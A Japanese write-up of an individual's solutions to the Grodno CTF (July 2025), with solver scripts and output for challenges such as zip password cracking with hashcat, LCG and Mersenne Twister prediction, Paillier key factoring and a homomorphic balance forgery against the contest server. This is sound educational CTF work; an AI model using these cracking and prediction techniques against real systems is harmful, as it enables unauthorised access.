この大会は2025/7/1 17:00(JST)~2025/7/3 17:00(JST)に開催されました。
今回は個人で参戦。結果は2166点で707チーム中118位でした。
自分で解けた問題をWriteupとして書いておきます。
Check (Welcome)
Telegramに入ったら、メッセージにフラグが書いてあった。
grodno{we_hope_to_see_you_in_grodno!}
What to do with PPC? (Beginner)
PPCの問題に関する説明で、わかったら"0"をSumitすればよいとのこと。
0
Double Trouble (Beginner)
2回base64デコードすればよい。
$ echo WjNKdlpHNXZlMlpwY25OMFgzTjBaWEJmYzJWamIyNWtYM04wWlhCOQ== | base64 -d | base64 -d
grodno{first_step_second_step}
grodno{first_step_second_step}
EXIF (Beginner)
$ exiftool Forest.jpg
ExifTool Version Number : 13.00
File Name : Forest.jpg
Directory : .
File Size : 59 kB
File Modification Date/Time : 2025:07:01 17:27:44+09:00
File Access Date/Time : 2025:07:01 17:27:50+09:00
File Inode Change Date/Time : 2025:07:01 17:27:44+09:00
File Permissions : -rwxrwxrwx
File Type : Extended WEBP
File Type Extension : webp
MIME Type : image/webp
WebP Flags : XMP, EXIF, ICC Profile
Image Width : 600
Image Height : 398
Profile CMM Type :
Profile Version : 4.3.0
Profile Class : Display Device Profile
Color Space Data : RGB
Profile Connection Space : XYZ
Profile Date Time : 2016:01:01 00:00:00
Profile File Signature : acsp
Primary Platform : Unknown ()
CMM Flags : Not Embedded, Independent
Device Manufacturer :
Device Model :
Device Attributes : Reflective, Glossy, Positive, Color
Rendering Intent : Media-Relative Colorimetric
Connection Space Illuminant : 0.9642 1 0.82491
Profile Creator :
Profile ID : 0
Profile Description : sRGB
Red Matrix Column : 0.43607 0.22249 0.01392
Green Matrix Column : 0.38515 0.71687 0.09708
Blue Matrix Column : 0.14307 0.06061 0.7141
Media White Point : 0.9642 1 0.82491
Red Tone Reproduction Curve : (Binary data 40 bytes, use -b option to extract)
Green Tone Reproduction Curve : (Binary data 40 bytes, use -b option to extract)
Blue Tone Reproduction Curve : (Binary data 40 bytes, use -b option to extract)
Profile Copyright : Google Inc. 2016
VP8 Version : 0 (bicubic reconstruction, normal loop)
Horizontal Scale : 0
Vertical Scale : 0
Exif Byte Order : Big-endian (Motorola, MM)
Software : Photopea Editor (www.photopea.com)
Modify Date : 2025:06:28 23:38:49
XMP Toolkit : Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22
Subject : flag{beyond_the_image}
Image Size : 600x398
Megapixels : 0.239
flag{beyond_the_image}
The Ripper (Beginner)
zipにパスワードがかかっていて、数字9桁であることがわかっている。
$ zip2john super-secret-files.zip | head -n 1 | cut -d ":" -f 2 > hash.txt
$ hashcat -a 3 -m 13600 hash.txt ?d?d?d?d?d?d?d?d?d
hashcat (v6.2.6) starting
OpenCL API (OpenCL 3.0 PoCL 3.1+debian Linux, None+Asserts, RELOC, SPIR, LLVM 15.0.6, SLEEF, DISTRO, POCL_DEBUG) - Platform
==================================================================================================================================================
* Device
Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Optimizers applied:
* Zero-Byte
* Single-Hash
* Single-Salt
* Brute-Force
* Slow-Hash-SIMD-LOOP
Watchdog: Temperature abort trigger set to 90c
Host memory required for this attack: 0 MB
Cracking performance lower than expected?
* Append -w 3 to the commandline.
This can cause your screen to lag.
* Append -S to the commandline.
This has a drastic speed impact but can be better for specific attacks.
Typical scenarios are a small wordlist but a large ruleset.
* Update your backend API runtime / driver the right way:
https://hashcat.net/faq/wrongdriver
* Create more work items to make use of your parallelization power:
https://hashcat.net/faq/morework
$zip2$*0*3*0*b50a7bf51dfaf63512743e024221d680*4c44*42*fdb36b133c3569f49ef51c031c906a8f1862379855b33545377955721b4e88a0b072dc488c3f56fb0aaeb647268251de0613c251851d2f686bcdd0119cda483af207*1d846d1cdfbccb5556c3*$/zip2$:124161344
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 13600 (WinZip)
Hash.Target......: $zip2$*0*3*0*b50a7bf51dfaf63512743e024221d680*4c44*.../zip2$
Time.Started.....: Tue Jul 1 18:28:06 2025 (2 hours, 56 mins)
Time.Estimated...: Tue Jul 1 21:24:32 2025 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Mask.......: ?d?d?d?d?d?d?d?d?d [9]
Guess.Queue......: 1/1 (100.00%)
Speed.
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 504289792/1000000000 (50.43%)
Rejected.........: 0/504289792 (0.00%)
Restore.Point....: 50428928/100000000 (50.43%)
Restore.Sub.
Candidate.Engine.: Device Generator
Candidates.
Hardware.Mon.
Started: Tue Jul 1 18:27:36 2025
Stopped: Tue Jul 1 21:24:33 2025
パスワードは「124161344」であることがわかったので、解凍する。
$ 7z x super-secret-files.zip
7-Zip 24.08 (x64) : Copyright (c) 1999-2024 Igor Pavlov : 2024-08-11
64-bit locale=en_US.UTF-8 Threads:32 OPEN_MAX:1024
Scanning the drive for archives:
1 file, 25714 bytes (26 KiB)
Extracting archive: super-secret-files.zip
--
Path = super-secret-files.zip
Type = zip
Physical Size = 25714
Enter password (will not be echoed):
Everything is Ok
Files: 4
Size: 72596
Compressed: 25714
$ cat super-secret-file.txt | grep grodno{
grodno{0n_linux_it_would_be_easier_t0_do_this}
grodno{0n_linux_it_would_be_easier_t0_do_this}
White Cat in a White Room (Beginner)
「青い空を見上げればいつもそこに白い猫」で開き、ステガノグラフィ解析を行う。
「パレット ランダム配色 動的生成 1」でフラグが現れた。

grodno{4374575035158325358345436}
Yin Yang (Beginner)
この添付の画像にフラグが隠されている。

黒と赤の魚の頭から順番にお互いにXORし、文字にするとフラグになりそう。
>>> r = [188, 125, 135, 65, 97, 24, 39, 210, 40, 181, 215, 126, 200, 223, 231, 91, 38, 207, 165, 117, 149, 157, 126]
>>> b = [219, 15, 232, 37, 15, 119, 92, 230, 28, 141, 229, 74, 240, 230, 212, 105, 21, 253, 149, 71, 166, 165, 3]
>>> ''.join([chr(x ^ y) for x, y in zip(r, b)])
'grodno{448248932320238}'
grodno{448248932320238}
LCG hack (PPC. Professional Programming and Coding)
サーバの処理概要は以下の通り。
・m: UNIXTIMEの1000000倍の整数切り上げ
・a = 2**15-1
・b = 2**51-1
・x = m
・rand_numbers = [x,]
・49回以下繰り返し
・x = (a * x + b) % m
・rand_numbersにxを追加
・ind = 0
・以下繰り返し
・indがrandnumbersの長さと一致する場合、繰り返し終了
・inp: 入力
・inpが"1"の場合
・rand_numbers[ind]を出力
・inpが"2"の場合
・ans: 数値入力
・ansがrand_numbers[ind]と一致する場合、フラグを表示
・ansがrand_numbers[ind]と一致しない場合、rand_numbers[ind]を表示
・indをプラス1
16個くらい乱数を入手する。LCGなので、GCDを使ってmを算出することができる。そうすれば、最後に入手した乱数から次の乱数を算出することができる。
import socket
from Crypto.Util.number import *
from functools import reduce
def recvuntil(s, tail):
data = b''
while True:
if tail in data:
return data.decode()
data += s.recv(1)
a = 2**15 - 1
b = 2**51 - 1
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('ctf.mf.grsu.by', 9042))
for _ in range(22):
data = recvuntil(s, b'\n').rstrip()
print(data)
rand_nums = []
for i in range(16):
data = recvuntil(s, b'> ')
print(data + '1')
s.sendall(b'1\n')
data = recvuntil(s, b'\n').rstrip()
print(data)
num = int(data.split(' ')[-1])
rand_nums.append(num)
delta = [d1 - d0 for (d0, d1) in zip(rand_nums, rand_nums[1:])]
m_mul = [d0 * d2 - d1 * d1 for (d0, d1, d2) in zip(delta, delta[1:], delta[2:])]
m = reduce(GCD, m_mul)
ans = (a * rand_nums[-1] + b) % m
data = recvuntil(s, b'> ')
print(data + '2')
s.sendall(b'2\n')
data = recvuntil(s, b': ')
print(data + str(ans))
s.sendall(str(ans).encode() + b'\n')
for _ in range(2):
data = recvuntil(s, b'\n').rstrip()
print(data)
実行結果は以下の通り。
██╗ ██████╗ ██████╗ ██╗ ██╗ █████╗ ██████╗██╗ ██╗
██║ ██╔════╝██╔════╝ ██║ ██║██╔══██╗██╔════╝██║ ██╔╝
██║ ██║ ██║ ███╗ ███████║███████║██║ █████╔╝
██║ ██║ ██║ ██║ ██╔══██║██╔══██║██║ ██╔═██╗
███████╗╚██████╗╚██████╔╝ ██║ ██║██║ ██║╚██████╗██║ ██╗
╚══════╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═╝ ╚═════╝╚═╝ ╚═╝
Попробуем взломать Линейный Конгруэнтный Генератор псевдослучайных чисел (ПСЧ).
Его формула: Xn+1 = (A * Xn + B) mod M
Вы можете попросить несколько последовательных ПСЧ, до 50 штук.
А затем угадать следующее ПСЧ.
===============
Let's try to hack the Linear Congruential Generator for pseudorandom numbers (PRN).
Its formula is: Xn+1 = (A * Xn + B) mod M
You can ask for several consecutive PRNs, up to 50.
And then guess the next PRN.
1. Получить следующее число
2. Угадать следующее число
> 1
Следующее число: 1751425231496505
> 1
Следующее число: 500374582188742
> 1
Следующее число: 1182717121914551
> 1
Следующее число: 806211033115224
> 1
Следующее число: 870530006948635
> 1
Следующее число: 1445792116031357
> 1
Следующее число: 469553832699816
> 1
Следующее число: 100151960263189
> 1
Следующее число: 8772701652335
> 1
Следующее число: 721751658822867
> 1
Следующее число: 642078333764716
> 1
Следующее число: 1361256314619854
> 1
Следующее число: 1239665209451925
> 1
Следующее число: 1556323826471257
> 1
Следующее число: 314731082130776
> 1
Следующее число: 901979709904494
> 2
Ваше число: 368747519221765
Флаг: grodno{0dc1a0436448239239fe54646adaffed8}
grodno{0dc1a0436448239239fe54646adaffed8}
Python PRNG hack (PPC. Professional Programming and Coding)
サーバの処理概要は以下の通り。
・m: UNIXTIMEの1000000倍の整数切り上げ
・a = 2**10
・b = 2**30
・mをシードとして乱数設定
・rand_numbers = []
・ind = 0
・以下繰り返し
・indが1000の場合、繰り返し終了
・inp: 入力
・inpが"1"の場合
・ランダム32ビット整数表示
・inpが"2"の場合
・ans: 数値入力
・my_ans: ランダム32ビット整数
・ansとmy_ansが一致する場合、フラグを表示
・indをプラス1
Mersenne Twisterの特性を使って、624個の乱数を取得し、次の乱数を答える。
import socket
import random
def recvuntil(s, tail):
data = b''
while True:
if tail in data:
return data.decode()
data += s.recv(1)
def untemper(rand):
rand ^= rand >> 18;
rand ^= (rand << 15) & 0xefc60000;
a = rand ^ ((rand << 7) & 0x9d2c5680);
b = rand ^ ((a << 7) & 0x9d2c5680);
c = rand ^ ((b << 7) & 0x9d2c5680);
d = rand ^ ((c << 7) & 0x9d2c5680);
rand = rand ^ ((d << 7) & 0x9d2c5680);
rand ^= ((rand ^ (rand >> 11)) >> 11);
return rand
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('ctf.mf.grsu.by', 9043))
for _ in range(22):
data = recvuntil(s, b'\n').rstrip()
print(data)
N = 624
state = []
for i in range(624):
data = recvuntil(s, b'> ')
print(data + '1')
s.sendall(b'1\n')
data = recvuntil(s, b'\n').rstrip()
print(data)
state.append(untemper(int(data.split(' ')[-1])))
state.append(N)
random.setstate([3, tuple(state), None])
ans = random.getrandbits(32)
data = recvuntil(s, b'> ')
print(data + '2')
s.sendall(b'2\n')
data = recvuntil(s, b': ')
print(data + str(ans))
s.sendall(str(ans).encode() + b'\n')
for _ in range(2):
data = recvuntil(s, b'\n').rstrip()
print(data)
実行結果は以下の通り。
██████╗ ██╗ ██╗████████╗██╗ ██╗ ██████╗ ███╗ ██╗ ██╗ ██╗ █████╗ ██████╗██╗ ██╗
██╔══██╗╚██╗ ██╔╝╚══██╔══╝██║ ██║██╔═══██╗████╗ ██║ ██║ ██║██╔══██╗██╔════╝██║ ██╔╝
██████╔╝ ╚████╔╝ ██║ ███████║██║ ██║██╔██╗ ██║ ███████║███████║██║ █████╔╝
██╔═══╝ ╚██╔╝ ██║ ██╔══██║██║ ██║██║╚██╗██║ ██╔══██║██╔══██║██║ ██╔═██╗
██║ ██║ ██║ ██║ ██║╚██████╔╝██║ ╚████║ ██║ ██║██║ ██║╚██████╗██║ ██╗
╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═══╝ ╚═╝ ╚═╝╚═╝ ╚═╝ ╚═════╝╚═╝ ╚═╝
Попробуем взломать генератор псевдослучайных чисел (ПСЧ) Python.
Считаем, что ПСЧ создаются функцией getrandbits(32) стандартной библиотеки random.
Вы можете попросить несколько последовательных ПСЧ, до 1000 штук.
А затем вы должны угадать следующее ПСЧ.
===============
Let's try to hack the generator of pseudo-random number (PRN) of the Python interpreter.
We assume that the PRNs are generated by the getrandbits(32) function of the standard random library.
You can ask for several consecutive PRNs, up to 1000 pieces.
And then you have to guess the next PRN.
1. Получить следующее число
2. Угадать следующее число
> 1
Следующее число: 1131985603
> 1
Следующее число: 1856213929
> 1
Следующее число: 947731974
:
> 1
Следующее число: 4117995843
> 1
Следующее число: 265818363
> 1
Следующее число: 3958449209
> 2
Ваше число: 2989808239
Флаг: grodno{adffc043644adfecb56464646ad1f4ed4}
grodno{adffc043644adfecb56464646ad1f4ed4}
Homomorphic weak (Misc)
サーバの処理概要は以下の通り。
・m: flagを数値化したもの
・public_key = generate_keys()
・以下繰り返し
・p: 256ビット素数
・q: pに1以上10000以下のランダム整数をプラスしたもの
・qが素数でp*qと(p-1)*(q-1)が互いに素である場合
・n = p * q
・g = n + 1
・n, gを返却
・n, g = public_key
・c = encrypt(m, n, g)
・r: 1以上n-1以下のランダム整数
・c = (pow(g, m, n**2) * pow(r, n, n**2)) % n**2
・cを返却
・nを出力
・gを出力
・cを出力
Paillier暗号で暗号化されている。nをp, qに素因数分解できれば、復号することができる。
次のように置く。
_lambda = lcm(p - 1, q - 1)
L(u) = (u - 1) // n
このとき、復号は次のように計算することができる。
m = L(pow(c, _lambda, n**2)) * pow(L(pow(g, _lambda, n**2)), -1, n**2) % n
またp, qは近い数値のため、Fermat法で素因数分解できる。
import socket
from Crypto.Util.number import *
def recvuntil(s, tail):
data = b''
while True:
if tail in data:
return data.decode()
data += s.recv(1)
def isqrt(n):
x = n
y = (x + n // x) // 2
while y < x:
x = y
y = (x + n // x) // 2
return x
def fermat(n):
x = isqrt(n) + 1
y = isqrt(x * x - n)
while True:
w = x * x - n - y * y
if w == 0:
break
elif w > 0:
y += 1
else:
x += 1
return x - y, x + y
def lcm(x, y):
return x * y // GCD(x, y)
def L(u):
global n
return (u - 1) // n
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('ctf.mf.grsu.by', 9055))
data = recvuntil(s, b'(n, g):\n').rstrip()
print(data)
data = recvuntil(s, b'\n').rstrip()
print(data)
n = int(data.split(' ')[-1])
data = recvuntil(s, b'\n').rstrip()
print(data)
g = int(data.split(' ')[-1])
data = recvuntil(s, b'(c):\n').rstrip()
print(data)
data = recvuntil(s, b'\n').rstrip()
print(data)
c = int(data.split(' ')[-1])
print(c)
p, q = fermat(n)
_lambda = lcm(p - 1, q - 1)
m = L(pow(c, _lambda, n**2)) * pow(L(pow(g, _lambda, n**2)), -1, n**2) % n
flag = long_to_bytes(m).decode()
data = recvuntil(s, b'>')
print(data + flag)
s.sendall(flag.encode() + b'\n')
for _ in range(2):
data = recvuntil(s, b'\n').rstrip()
print(data)
実行結果は以下の通り。
██╗ ██╗ ██████╗ ███╗ ███╗ ██████╗ ███╗ ███╗ ██████╗ ██████╗ ██████╗ ██╗ ██╗██╗ ██████╗ ██╗ ██╗███████╗ █████╗ ██╗ ██╗
██║ ██║██╔═══██╗████╗ ████║██╔═══██╗████╗ ████║██╔═══██╗██╔══██╗██╔══██╗██║ ██║██║██╔════╝ ██║ ██║██╔════╝██╔══██╗██║ ██╔╝
███████║██║ ██║██╔████╔██║██║ ██║██╔████╔██║██║ ██║██████╔╝██████╔╝███████║██║██║ ██║ █╗ ██║█████╗ ███████║█████╔╝
██╔══██║██║ ██║██║╚██╔╝██║██║ ██║██║╚██╔╝██║██║ ██║██╔══██╗██╔═══╝ ██╔══██║██║██║ ██║███╗██║██╔══╝ ██╔══██║██╔═██╗
██║ ██║╚██████╔╝██║ ╚═╝ ██║╚██████╔╝██║ ╚═╝ ██║╚██████╔╝██║ ██║██║ ██║ ██║██║╚██████╗ ╚███╔███╔╝███████╗██║ ██║██║ ██╗
╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═╝ ╚═╝╚═╝ ╚═════╝ ╚══╝╚══╝ ╚══════╝╚═╝ ╚═╝╚═╝ ╚═╝
Сервер использует надежную гомоморфную криптосистему, но модуль генерации ключа слишко м слаб. Воспользуйтесь этим и расшифруйте флаг.
===============
The server uses a strong homomorphic cryptosystem, but the key generation module is too weak. Take advantage of this and decrypt the flag.
Public Key (n, g):
n = 7425985761584608551715208317735937647832259426216434886732786648472648136105231890022121149866288170325426428267839792132626354244990881656871711194624041
g = 7425985761584608551715208317735937647832259426216434886732786648472648136105231890022121149866288170325426428267839792132626354244990881656871711194624042
Encrypted Flag (c):
c = 2005645021373737229424032512647078488688611345758494794356408264854464230831049880650167498595764038621833566621027675046195999421448571451769894760977618585964358451485791386810251844092618846201748664349422183076303388950371985705566596526731794006578310505673192357293938368135475746803231639631737830846
2005645021373737229424032512647078488688611345758494794356408264854464230831049880650167498595764038621833566621027675046195999421448571451769894760977618585964358451485791386810251844092618846201748664349422183076303388950371985705566596526731794006578310505673192357293938368135475746803231639631737830846
=== Расшифруй флаг / Decrypt flag ===
Input flag >grodno{Crypto_Weak_Modulus_Factorization}
Flag is: grodno{4d8330432645-545345-454352-6765-66ff2ed2}
grodno{4d8330432645-545345-454352-6765-66ff2ed2}
Interesting WAV (Misc)
$ binwalk stego.wav
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 RIFF audio data (WAV), PCM, 1 channels, 8000 sample rate
44 0x2C JPEG image data, JFIF standard 1.01
wavの後ろにjpgがくっついている。
$ dd bs=1 skip=44 if=stego.wav of=flag.jpg
14725+0 records in
14725+0 records out
14725 bytes (15 kB, 14 KiB) copied, 1.46331 s, 10.1 kB/s
切り出したjpg画像にフラグが書いてあった。

grodno{WAV_t0_PNG_0r_PNG_t0_WAV}
ZKP 9+ (Misc)
サーバの処理概要は以下の通り。
・ROUNDS = 3
・p = 23
・g = 5
・x: 1以上p-2以下のランダム整数
・y = pow(g, x, p)
・p, g. yを表示
・ROUNDSを表示
・1~ROUNDSのround_numについて以下を実行
・round_numを表示
・C: 数値入力
・e: 1以上100以下のランダム整数
・eを表示
・s: 入力
・left = pow(g, s, p)
・right = (C * pow(y, e, p)) % p
・leftとrightが一致しない場合、終了
・FLAGを表示
pの数値が小さいので、ブルートフォースでsを求めることができる。
import socket
def recvuntil(s, tail):
data = b''
while True:
if tail in data:
return data.decode()
data += s.recv(1)
skt = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
skt.connect(('ctf.mf.grsu.by', 9049))
for _ in range(20):
data = recvuntil(skt, b'\n').rstrip()
print(data)
p = int(data.split(' ')[-3][:-1].split('=')[1])
g = int(data.split(' ')[-2][:-1].split('=')[1])
y = int(data.split(' ')[-1].split('=')[1])
for _ in range(2):
data = recvuntil(skt, b'\n').rstrip()
print(data)
for _ in range(3):
for _ in range(3):
data = recvuntil(skt, b'\n').rstrip()
print(data)
print('1')
skt.sendall(b'1\n')
data = recvuntil(skt, b'\n').rstrip()
print(data)
e = int(data.split(' ')[-1])
data = recvuntil(skt, b'\n').rstrip()
print(data)
right = pow(y, e, p)
for s in range(p):
if pow(g, s, p) == right:
break
print(str(s))
skt.sendall(str(s).encode() + b'\n')
for _ in range(3):
data = recvuntil(skt, b'\n').rstrip()
print(data)
data = recvuntil(skt, b'\n').rstrip()
print(data)
実行結果は以下の通り。
███████╗██╗ ██╗██████╗ ███████╗ ██████╗ ██████╗ █████╗
╚══███╔╝██║ ██╔╝██╔══██╗ ██╔════╝██╔═══██╗██╔══██╗ ██╔══██╗ ██╗
███╔╝ █████╔╝ ██████╔╝ █████╗ ██║ ██║██████╔╝ ╚██████║██████╗
███╔╝ ██╔═██╗ ██╔═══╝ ██╔══╝ ██║ ██║██╔══██╗ ╚═══██║╚═██╔═╝
███████╗██║ ██╗██║ ██║ ╚██████╔╝██║ ██║ █████╔╝ ╚═╝
╚══════╝╚═╝ ╚═╝╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝ ╚════╝
Используя протокол с нулевым разглашением (ZKP, Zero-Knowledge Proof), докажите, что умеете находить дискретный логарифм, не р аскрывая секрет как вы это делаете.
Вам даны простое число p, генератор g мультипликативной группы, значение y = g^x mod p. Докажите, отвечая на вопросы сервера, что вы знаете x.
===============
Using a Zero-Knowledge Proof (ZKP) protocol, prove that you can find the discrete logarithm without revealing the secret of how you do it.
You are given a prime number p, a generator g of the multiplicative group, a value y = g^x mod p. Prove by answering questions from the server that you know x.
=== Zero-Knowledge Proof: Prove You Know x ===
Параметры / Parameters: p=313, g=190, y=66
Всего раундов / Rounds: 3
=== Round 1 ===
Выберите r и отправьте C = g^r mod p / Select r and send C = g^r mod p:
1
Challenge e = 24
Отправьте / Send s = r + e*x mod (p-1):
48
Рaунд пройден / Round passed!
=== Round 2 ===
Выберите r и отправьте C = g^r mod p / Select r and send C = g^r mod p:
1
Challenge e = 88
Отправьте / Send s = r + e*x mod (p-1):
280
Рaунд пройден / Round passed!
=== Round 3 ===
Выберите r и отправьте C = g^r mod p / Select r and send C = g^r mod p:
1
Challenge e = 79
Отправьте / Send s = r + e*x mod (p-1):
106
Рaунд пройден / Round passed!
Success! Flag: grodno{edf75033a9248bc375df6e7c8f4edf}
grodno{edf75033a9248bc375df6e7c8f4edf}
Error, another error (Misc)
サーバの処理概要は以下の通り。
・hcode: 0~14の値iで[2進数4桁, 0, 2進数4桁]の形の配列を2回繰り返す
・hcodeをシャッフル
・hcodeの長さ未満のindについて以下を実行
・r: 0以上10以下のランダム整数
・rが6以下の場合はhcode[ind][1]にrを設定、それ以外の場合は0を設定
・code0 = hamming_encode_7_4(hcode[ind][0])
・d1~d4: hcode[ind][0]の各ビットの数値
・p1 = d1 ^ d2 ^ d4
・p2 = d1 ^ d3 ^ d4
・p3 = d2 ^ d3 ^ d4
・encoded = [p1, p2, d1, p3, d2, d3, d4]
・encodedを文字列として結合し、返却
・rが6以下の場合
・code0のr番目を反転
・hcode[ind][0] = code0
・err_flag = False
・ROUNDS = 3
・ROUNDSを表示
・ROUNDS未満のround_numについて以下を実行
・round_numを表示
・hcode[round_num][0]を表示
・answer: 入力
・answerが{hcode[round_num][1]}:{hcode[round_num][2]}と一致する場合、正解のメッセージ表示
・answerが{hcode[round_num][1]}:{hcode[round_num][2]}と一致しない場合
・err_flag = True
・繰り返し終了
・err_flagがFalseの場合、フラグを表示
実際のラウンド数は20回だった。p1, p2, p3の計算をし、間違いがあれば訂正する。
import socket
def recvuntil(s, tail):
data = b''
while True:
if tail in data:
return data.decode()
data += s.recv(1)
def decode_hamming_7_4(code_bits):
c = list(map(int, code_bits))
s1 = c[0] ^ c[2] ^ c[4] ^ c[6]
s2 = c[1] ^ c[2] ^ c[5] ^ c[6]
s3 = c[3] ^ c[4] ^ c[5] ^ c[6]
error_pos = s1 + (s2 << 1) + (s3 << 2)
corrected = c[:]
if error_pos != 0:
r = error_pos - 1
corrected[error_pos - 1] ^= 1
else:
r = 0
data = [corrected[2], corrected[4], corrected[5], corrected[6]]
return r, ''.join(map(str, data))
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('ctf.mf.grsu.by', 9057))
for _ in range(17):
data = recvuntil(s, b'\n').rstrip()
print(data)
for _ in range(20):
for _ in range(2):
data = recvuntil(s, b'\n').rstrip()
print(data)
data = recvuntil(s, b'>>')
print(data, end='')
code_bits = data.split(',')[0]
r, data_bits = decode_hamming_7_4(code_bits)
ans = str(r) + ':' + data_bits
print(ans)
s.sendall(ans.encode() + b'\n')
data = recvuntil(s, b'\n').rstrip()
print(data)
for _ in range(2):
data = recvuntil(s, b'\n').rstrip()
print(data)
実行結果は以下の通り。
██╗ ██╗ █████╗ ███╗ ███╗███╗ ███╗██╗███╗ ██╗ ██████╗ ██╗ ███████╗ ██╗ ██╗ ██╗
██║ ██║██╔══██╗████╗ ████║████╗ ████║██║████╗ ██║██╔════╝ ██╔╝ ╚════██║ ██║ ██║ ╚██╗
███████║███████║██╔████╔██║██╔████╔██║██║██╔██╗ ██║██║ ███╗ ██║ ██╔╝ ███████║ ██║
██╔══██║██╔══██║██║╚██╔╝██║██║╚██╔╝██║██║██║╚██╗██║██║ ██║ ██║ ██╔╝ ╚════██║ ██║
██║ ██║██║ ██║██║ ╚═╝ ██║██║ ╚═╝ ██║██║██║ ╚████║╚██████╔╝ ╚██╗ ██║ ▄█╗ ██║ ██╔╝
╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═╝╚═╝╚═╝ ╚═══╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝
(7,4)-код Хэмминга позволяет исправлять не более одной ошибки. Найдите позицию ошибки и восстановите исходные данные. Например для битовой строки 1010011 ваш ответ будет 2:0011. А если ошибки нет, как в строке 0011001, ваш ответ будет 0:1001
===============
(7,4)-Hamming code allows you to correct at most one error. Find the position of the error and restore the original data. For example, for the bit string 1010011, your answer will be 2:0011. And if there is no error, like in the string 0011001, your answer will be 0:1001
Всего раундов / Rounds: 20
=== Round 1 ===
1100101, позиция:данные >>0:0101
Правильно / Right
=== Round 2 ===
1100110, позиция:данные >>0:0110
Правильно / Right
=== Round 3 ===
0001111, позиция:данные >>0:0111
Правильно / Right
=== Round 4 ===
0010110, позиция:данные >>0:1110
Правильно / Right
=== Round 5 ===
0101011, позиция:данные >>6:0010
Правильно / Right
=== Round 6 ===
0000000, позиция:данные >>0:0000
Правильно / Right
=== Round 7 ===
1011001, позиция:данные >>0:1001
Правильно / Right
=== Round 8 ===
1001111, позиция:данные >>0:0111
Правильно / Right
=== Round 9 ===
1100110, позиция:данные >>0:0110
Правильно / Right
=== Round 10 ===
1001100, позиция:данные >>0:0100
Правильно / Right
=== Round 11 ===
1110101, позиция:данные >>1:1101
Правильно / Right
=== Round 12 ===
1101010, позиция:данные >>0:0010
Правильно / Right
=== Round 13 ===
1110001, позиция:данные >>6:1000
Правильно / Right
=== Round 14 ===
1010010, позиция:данные >>3:1010
Правильно / Right
=== Round 15 ===
1011010, позиция:данные >>0:1010
Правильно / Right
=== Round 16 ===
0000000, позиция:данные >>0:0000
Правильно / Right
=== Round 17 ===
1101101, позиция:данные >>4:0001
Правильно / Right
=== Round 18 ===
1101011, позиция:данные >>5:0001
Правильно / Right
=== Round 19 ===
1110010, позиция:данные >>5:1000
Правильно / Right
=== Round 20 ===
0111101, позиция:данные >>6:1100
Правильно / Right
Flag is: grodno{be7d6087065823014824124712214240358340bf3e0b}
grodno{be7d6087065823014824124712214240358340bf3e0b}
Homomorphic Fraud (Misc)
サーバの処理概要は以下の通り。
・pub_key, priv_key = generate_keypair()
・p, q: 512ビット素数
・n = p * q
・g = n + 1
・lambda_ = (p - 1) * (q - 1)
・mu = pow(lambda_, -1, n)
・(n, g), (lambda_, mu)を返却
・balance: 0以上999999以下ランダム整数
・enc_balance = encrypt(balance, pub_key)
・n, g = pub_key
・r: 1以上n-1以下ランダム整数
・c = (pow(g, m, n**2) * pow(r, n, n**2)) % n**2
・end_balance = encrypt(1000000, pub_key)
・pub_keyを表示
・enc_balanceを表示
・以下繰り返し
・user_input: 入力
・new_enc_balance = process_transaction(user_input)
・enc_balance = (enc_balance * user_input) % (pub_key[0] ** 2)
・enc_balanceを返却
・new_enc_balanceを表示
・decrypt(new_enc_balance, priv_key, pub_key)とdecrypt(end_balance, priv_key, pub_key)が一致している場合
・フラグを表示
・new_enc_balanceがend_balanceより大きい場合
・繰り返し終了
end_balanceは算出できる。この暗号化はPaillier暗号のため、準同型性を持っている。つまり、二つの暗号文の積は、それらの平文の和の暗号文になる。
このことを考えると、以下を満たせば、フラグが表示される。
enc_balanceの平文balanceとuser_inputの平文の和がend_balanceの平文1000000になる。
ただしbalanceの値がわからない。user_inputの平文を0から順に暗号化していけば、1000000未満の間で当たるはず。
import socket
import random
def recvuntil(s, tail):
data = b''
while True:
if tail in data:
return data.decode()
data += s.recv(1)
def encrypt(m, pub_key):
n, g = pub_key
r = random.randint(1, n - 1)
c = (pow(g, m, n**2) * pow(r, n, n**2)) % n**2
return c
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('ctf.mf.grsu.by', 9054))
data = recvuntil(s, b'\n').rstrip()
print(data)
pub_key = eval(data.split(' = ')[1])
data = recvuntil(s, b'\n').rstrip()
print(data)
enc_balance = int(data.split(' = ')[1])
for _ in range(19):
data = recvuntil(s, b'\n').rstrip()
print(data)
data = ''
for m in range(1000000):
user_input = encrypt(m, pub_key)
data += recvuntil(s, b' = ')
print(data + str(user_input))
s.sendall(str(user_input).encode() + b'\n')
data = recvuntil(s, b'\n').rstrip()
print(data)
data = s.recv(1).decode()
if data == 'F':
data += recvuntil(s, b'\n').rstrip()
print(data)
break
何回か実行したら、フラグが表示された。成功時の実行結果は以下の通り。
